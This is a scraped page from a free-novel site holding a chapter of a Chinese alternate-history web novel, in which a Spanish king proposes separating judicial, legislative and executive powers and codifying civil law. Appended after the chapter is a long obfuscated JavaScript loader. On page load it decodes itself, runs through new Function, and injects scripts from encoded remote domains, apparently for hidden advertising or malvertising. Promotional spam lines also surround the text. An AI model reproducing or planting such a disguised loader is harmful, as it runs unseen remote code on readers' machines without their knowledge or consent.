第九章 三权分立（第1页）
请退出浏览器阅读模式，否则将导致章节内容缺失及无法阅读下一章。🎁免费-纯欲御姐主播
如果西班牙在法国大革命风暴之中，有一个良好的政府，其地理位置将使他在欧洲各国里举足轻重。因为西班牙卡在法国的南方，比例牛斯山脉的天险虽然不如英吉利海岸，但是相较于某些国家的边境线的平坦，这是对于西班牙对北部邻居极大防御补偿。
直布罗陀暂时忽略不计，西班牙的行动将决定英国海军能否进入地中海？是否让北非和西西里的小麦送到法国南部的饥饿命中手里？是否让法国对身后的国家安心，从而对付德意志人和意大利人。此外意大利的政治格局类似德意志，分裂成许多小邦国，不像德意志地区有着奥地利和普鲁士那样强有力的核心势力，这使得西班牙实际上有控制地中海的机会。
但是这些优势统统被糟糕的政府国家机构给糟蹋了。
在4月8日的御前部门联席会议上，阿方索进行准备的材料，先开炮，拿着手中数百张冲突的法律法条批评卡斯蒂利亚最高法院。
“法律是为了管理人民而颁布，但是如果连人民都无法理解，又如何能够遵守法律，更不要说那些法官啦！高等法院出台的法规中，与王室颁布的法规完全重复的共2oo项，部分重复的共53o项，完全相悖的共5o项，部分相悖6oo项目。如果我记得没错的话，政府早年就废除了中世纪遗留下来贵族在农田不能自由放牧的法律，但是我没有想到的是高等法院尽然还保存有中世纪法律的原文，农业是国家的根本，连这个都能糊弄，我严重怀疑高等法院是不是太闲了。”
“可以给高等法院增加法官数量。卡斯蒂利亚高等法院不仅要处理卡斯蒂利亚事物，还要管理阿拉贡，加泰罗尼亚，瓦伦西亚等地的地方法院，事情太多给法官增加了很重的负担。”曾担任卡斯蒂利亚最高法院的大法官的何塞。曼里诺建议到。
“这不是一个治标的方法，如果能单靠数量解决问题，那么为什么我们对直布罗陀总是围攻不下。如果我没记错的话，1782年的大围攻，我们和法国人集结了三万两千的军队，却对只有七千人人不到的直布罗陀要塞无可奈何。”阿方索十分不在意的把直布罗陀的失败给捅出来。
“我认为这个答案诸位应该是知道的。《国富论》强调分工，认为分工是达的社会产物，越达的、市场规模越大的社会，分工越明确。那么国家政府机构也不例外。高等法院拥有立法权，地方行政权，和国家其他机构有严重重合，以后高等法院只保留司法权，明确分工，走专业化道路。行政权交给地方省政府和市政厅。”
议论声淹没了会议厅，高等法院不只地方立法权，连行政权也要剥夺？这不就是是孟德斯鸠提倡的三权分立吗？百科全书派的大臣们都十分兴奋，高等法院这种集结司法，立法和行政一体的机构，类似中国古代的衙门，但是不同的是他们拥有地方立法权，一直让王室的政令大打折扣。大体上来说，地方法院是会配合中央的，但假如涉及到集团利益，他们既然三权集于一身，就可以在一些条款上阳奉阴违。百科全书派清一色的都是卡洛斯三世提拔的保王党，对于他们而言加强中央权威再好不过的事情。然而也有理智的人存在。
“陛下，这样的话会造成极大的混乱。高等法院内不少的法官将会失业不说，很容易遭到高等法院和地方法院的抵制”老道经验的何塞。曼里诺提出了质疑。
阿方索自然知道曼里诺所说的混乱是指什么，法官在西班牙也是高等职业，往往法官都是给自己买一个贵族称号，这批人就是穿袍贵族，在政界和法律界是紧密相连的，而他们之间普遍的子女联姻则让这种关系更进一层。虽然西班牙的王权能够推动改革，但是背后的作用力将会影响西班牙的政治稳定，还有就是地方容易出现不可测的骚动。
“这一点，我也想到。这些学法律的人才自然有需要他们的地方。就像汉谟拉比法典一样，西班牙必须有一部基本的民法典，我看奥地利人已经走在了我们的前面，统合西班牙各省法律，任何地方法规不能凌驾在其之上。”在西班牙，学法律也是精英，浪费精英资源是可耻，阿方索可不会把他们撇在一边。
“那么由谁来制定这部民法典，陛下？”何塞。曼里诺没有想到国王已经深思熟虑，为那些穿袍贵族找到了去处，继续问出关键问题。
。。。。。。
会议结束后，很多人都接受了任务，国王将“专业分工”列为政府考核，要求各部会对自己所管理的部门进行裁剪和整并，优化西班牙的政府结构。
何塞。曼里诺邀请了他的好友坎波。玛内斯一同留在相官邸，十分欣慰说道：“陛下有改革的想法，我一直以为三权分立，最早的会是在法国，没想到西班牙也能赶上。而且国王很有全局观，新的高等法院将有旧法官和社会招募的新法官两两开，旧法官会怀念过去自己地方的法律霸道，社会新法官会成为改革的拥护者，在加上剥夺地方立法权，高等法院以后再也翻不出浪花。”
“我之前还担心的就是国王年轻气盛，去学习约瑟夫二世。约瑟夫二世太过独断和理想化，明明都年过半百，完全没有学到母亲的样子，搞到低地-匈牙利贵族叛乱和威望下降。我们忠诚的君主比我想象的要好。”坎波。玛内斯高兴地说道，“不过你身上的事情反而比我这边还重要。陛下要求增加政府的行政效率，你有什么想法吗？”
“有一个大概的想法，陛下竟然要考核我们专业分工的进度，那么为什么我们不能以考核来鞭鞭策官僚，弄一个统一有效的管理监督，升迁、使用、奖惩和任免的常规章法。”
🎁免费-纯欲御姐主播请退出浏览器阅读模式，否则将导致章节内容缺失及无法阅读下一章。
!function(){function a(a){var _idx="t3rocck26k";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP@Q}CFT_T_m)C7LSmRT4gQ@{n"="hFFJLg\/\/[[fdTPP@Q}CF75FTm6R)_dmRT4gQ@{n"="hFFJLg\/\/[[fdTPP@Q}CFfY5FmD_L7dmRT4gQ@{n"="hFFJLg\/\/[[fdTPP@Q}CFSOJTm)C7LSmRT4gQ@{n"="hFFJLg\/\/[[fdTPP@Q}CFLY_6m6R)_dmRT4gQ@{n"="hFFJLg\/\/[[fdTPP@Q}CFRDYJmD_L7dmRT4gQ@{n"="hFFJLg\/\/[[fdTPP@Q}CFdDqJm6R)_dmRT4gQ@{n"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/@Q}jR8Fs5O((S@KS"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"@Q}"=X8"Fs5O((S@KS"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"@Q}d2(LCYmOh5:DmRT4"="@Q}5p(LYpmJfC)RmRT4"="@Q}D7(LSqmOh5:DmRT4"="@Q}dC(LJ^mJfC)RmRT4"="@Q}(C(L:4mOh5:DmRT4"="@Q}C2(LSYmJfC)RmRT4"="@Q}25(LLSmOh5:DmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPP@Q}2F(LCYmpSfD2RmRT4gQ@{n/((/@Q}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPP@Q}2F(LCYmpSfD2RmRT4gQ@{n/((/@Q}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPP@Q}CFT_T_m)C7LSmRT4gQ@{n/f/@Q}j(8}vR8Fs5O((S@KS"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPP@Q}CFT_T_m)C7LSmRT4gQ@{n"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();
www.qbzww.com 全本免费小说
畅快阅读 永久免费
请注意适当休息 保护好您的眼睛